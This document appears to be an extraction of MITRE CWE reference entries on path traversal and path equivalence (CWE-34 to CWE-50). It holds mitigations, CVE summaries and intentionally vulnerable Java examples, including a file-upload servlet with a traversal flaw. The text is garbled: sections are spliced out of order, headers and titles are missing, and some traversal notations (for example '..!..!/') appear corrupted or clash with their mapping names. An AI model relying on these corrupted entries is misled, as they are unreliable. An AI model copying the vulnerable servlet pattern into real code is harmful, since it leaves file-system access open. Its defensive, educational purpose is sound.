This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	1636

## Notes

### Maintenance

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'...' (multiple dot)
Software Fault Patterns	SFP16		Path Traversal

## CWE-34: Path Traversal: '.../'

<b>Weakness ID</b> : 34	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

## Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The '.../' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../" can collapse into the "../" unsafe value (CWE-182). It could also be useful when ".." is removed, if the operating system treats "/" and "/" as equivalent.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2004-1670</b>	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "...!.." in user supplied parameters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1670">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1670</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	1636

### Notes

#### Relationship

This could occur due to a cleansing error that removes a single ".." from "...!..!/"

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'...!..' (doubled dot dot slash)
Software Fault Patterns	SFP16		Path Traversal

## CWE-35: Path Traversal: '..!..!/'

<b>Weakness ID</b> : 35	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..!..' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The '..!..' manipulation is useful for bypassing some path traversal protection schemes. If ".." is filtered in a sequential fashion, as done by some regular expression engines, then '..!..' can collapse into the ".." unsafe value (CWE-182). Removing the first ".." yields '..!..!'; the second removal yields '..!..'. Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the "../../../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2005-2169</b>	chain: "../../../" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169</a>
<b>CVE-2005-0202</b>	"../../../" bypasses regexp's that remove "/" and "../" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-36: Absolute Path Traversal

**Weakness ID :** 36

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	29
ParentOf		37	Path Traversal: '/absolute/pathname/here'	70
ParentOf		38	Path Traversal: '\absolute\pathname\here'	72
ParentOf		39	Path Traversal: 'C:dirname'	74
ParentOf		40	Path Traversal: '\\UNC\share\name\ (Windows UNC Share)	77

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	29
ParentOf		37	Path Traversal: '/absolute/pathname/here'	70
ParentOf		38	Path Traversal: '\absolute\pathname\here'	72
ParentOf		39	Path Traversal: 'C:dirname'	74
ParentOf		40	Path Traversal: '\\UNC\share\name\ (Windows UNC Share)	77

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories  <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i>	

### Demonstrative Examples

#### Example 1:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

*Example Language: Java*

*(bad)*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

#### Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

*Example Language: HTML*

*(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data"> Choose a file to upload:<input type="file" name="filename"/><br/><input type="submit" name="submit" value="Submit"/> </form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(bad)

```
public class FileUploadServlet extends HttpServlet { ... protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");PrintWriter
out = response.getWriter();String contentType = request.getContentType(); // the starting position of the boundary headerint
ind = contentType.indexOf("boundary=");String boundary = contentType.substring(ind+9); String pLine = new String();String
uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart
form dataif (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the
Http headerBufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine =
br.readLine();String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("."));... // output the file to the local
upload directorytry { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for (String
line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();} //end of for
loopbw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload
response HTML pageelse{...} }... }
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Observed Examples

Reference	Description
<b>CVE-2002-1345</b>	Multiple FTP clients write arbitrary files via absolute paths in server responses <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1345">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1345</a>

## CWE-37: Path Traversal: '/absolute/pathname/here'

**Weakness ID** : 37

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		160	Improper Neutralization of Leading Special Elements	370
ChildOf		36	Absolute Path Traversal	67

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		36	Absolute Path Traversal	67

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "..\" sequences are removed from the ".../.../\" string in a sequential fashion, two instances of "..\" would be removed from the original string, but the remaining characters would still form the "..\" string.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For

example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2001-0038</b>	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0038">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0038</a>
<b>CVE-2001-0255</b>	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0255">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0255</a>
<b>CVE-2001-0687</b>	FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0687">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0687</a>
<b>CVE-2001-0933</b>	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0933">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0933</a>
<b>CVE-2002-0466</b>	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0466">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0466</a>
<b>CVE-2002-1483</b>	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483</a>
<b>CVE-2004-2488</b>	FTP server read/access arbitrary files using "C:\" filenames <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2488">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2488</a>

## CWE-41: Improper Resolution of Path Equivalence

<b>Weakness ID</b> : 41	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

### Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

<b>CVE-2002-0275</b>	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0275">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0275</a>
<b>CVE-2004-1032</b>	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1032">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1032</a>

Reference	Description
<b>CVE-2002-1238</b>	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <code>http://www.example.com///file/</code> . <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1238">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1238</a>
<b>CVE-2004-1878</b>	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to <code>admin/user.pl</code> preceded by // (double leading slash). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1878">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1878</a>
<b>CVE-2005-1365</b>	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and "." sequences. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1365">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1365</a>
<b>CVE-2000-1050</b>	Access directory using multiple leading slash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1050">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1050</a>
<b>CVE-2001-1072</b>	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072</a>
<b>CVE-2004-0235</b>	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0235">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0235</a>
<b>CVE-2002-1078</b>	Directory listings in web server using multiple trailing slash <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078</a>
<b>CVE-2004-0847</b>	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability." <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847</a>
<b>CVE-2000-0004</b>	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0004">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0004</a>
<b>CVE-2002-0304</b>	Server allows remote attackers to read password-protected files via a ./ in the HTTP request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0304">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0304</a>
<b>BID:6042</b>	Input Validation error <a href="http://www.securityfocus.com/bid/6042">http://www.securityfocus.com/bid/6042</a>
<b>CVE-1999-1083</b>	Possibly (could be a cleansing error) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1083">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1083</a>
<b>CVE-2004-0815</b>	"./././etc" cleansed to ".//etc" then "/etc" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815</a>
<b>CVE-2002-0112</b>	Server allows remote attackers to view password protected files via ./ in the URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0112">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0112</a>
<b>CVE-2004-0696</b>	List directories using desired path and "" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0696">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0696</a>
<b>CVE-2002-0433</b>	List files in web server using "*.ext" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433</a>
<b>CVE-2001-1152</b>	Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a ./, or (4) URL-encoded characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1152">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1152</a>
<b>CVE-2000-0191</b>	application check access for restricted URL before canonicalization <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191</a>
<b>CVE-2005-1366</b>	CGI source disclosure using "dirname/./cgi-bin" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1366">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1366</a>

**Abstraction** : Variant

## Description

A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Observed Examples

Reference	Description
<b>CVE-2000-0293</b>	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293</a>
<b>CVE-2001-1567</b>	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1567">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1567</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1636

## Notes

### Relationship

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

### Relationship

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-50: Path Equivalence: '//multiple/leading/slash'

<b>Weakness ID</b> : 50	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

